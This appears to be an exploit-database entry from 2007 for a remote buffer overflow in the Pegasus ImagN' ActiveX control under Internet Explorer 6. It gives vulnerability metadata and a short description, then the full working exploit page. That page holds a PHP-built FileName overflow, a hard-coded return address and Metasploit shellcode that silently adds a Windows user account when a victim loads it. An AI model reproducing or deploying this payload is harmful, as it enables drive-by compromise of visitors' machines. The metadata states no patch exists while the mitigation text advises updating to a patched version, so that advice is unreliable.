IE 6 / Pegasus ImagN' ActiveX Control (IMW32O40.OCX V4.00.041) remote buffer overflow exploit

vendor:

Pegasus ImagN' ActiveX Control

by:

rgod

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Pegasus ImagN' ActiveX Control

Affected Version From: 4.00.041

Affected Version To: 4.00.041

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2 IT

IE 6 / Pegasus ImagN’ ActiveX Control (IMW32O40.OCX V4.00.041) remote buffer overflow exploit

This exploit targets the Filename property of the Pegasus ImagN' ActiveX Control, causing a remote buffer overflow. The exploit overwrites seh pointers and several vulnerable functions, including BeginReport, CreatePictureExA, DefineImage, DefineImageEx, DefineImageFox, CopyBufToClipExA, LoadEx, and LoadFox. The exploit is designed for Windows XP SP2 IT version using the EIP overwrite method. The author of this exploit is rgod.

Mitigation:

To mitigate this vulnerability, users should update to a patched version of the Pegasus ImagN' ActiveX Control (IMW32O40.OCX).

Source

Exploit-DB raw data:

<!-
IE 6 / Pegasus ImagN' ActiveX Control (IMW32O40.OCX V4.00.041)
remote buffer overflow exploit
windows xp sp2 it version / eip overwrite method
by rgod
site: http://retrogod.altervista.org
mail: retrog at alice dot it

software site: http://www.pegasusimaging.com/
info/download locations:http://www.google.com/search?hl=en&q=PEGASUS+IMAGN

this exploits the Filename property, seh pointers are also overwritten
BeginReport, CreatePictureExA, DefineImage, DefineImageEx, DefineImageFox,
CopyBufToClipExA, LoadEx, LoadFox ... (I stopped to search)
functions are vulnerable aswell
->
<html>
<object classid='clsid:5DA9D8E0-5A57-11CF-9E36-00C0930198C0' id='IMW32O40.ImagN'>
<?php
/* win32_adduser -  PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com */
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x38\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54".
"\x4b\x38\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x51\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x48\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x37\x4e\x41\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x4d\x56".
"\x46\x36\x50\x32\x45\x46\x4a\x47\x45\x56\x42\x52\x4f\x52\x43\x36".
"\x42\x52\x50\x46\x45\x56\x46\x47\x42\x52\x45\x47\x43\x37\x45\x56".
"\x44\x57\x42\x42\x43\x57\x45\x47\x50\x56\x42\x52\x46\x47\x4c\x37".
"\x45\x47\x42\x52\x4f\x42\x41\x34\x46\x34\x46\x54\x42\x42\x48\x42".
"\x48\x32\x42\x52\x50\x46\x45\x36\x46\x57\x42\x52\x4e\x46\x4f\x36".
"\x43\x56\x41\x46\x4e\x36\x47\x56\x44\x47\x4f\x36\x45\x57\x42\x37".
"\x42\x52\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56\x49\x36\x43\x37".
"\x46\x47\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37\x43\x37\x42\x52".
"\x43\x57\x45\x57\x50\x46\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54".
"\x42\x50\x5a";
$eip  = "\xb5\x09\xc1\x7d"; // call esp mshtml.dll
$exploit= str_repeat("A",260).$eip.str_repeat("\x90",24).$shellcode;
echo "<param name=\"FileName\" value=\"$exploit\"/>";
?>
</object>
</html>

# milw0rm.com [2007-05-21]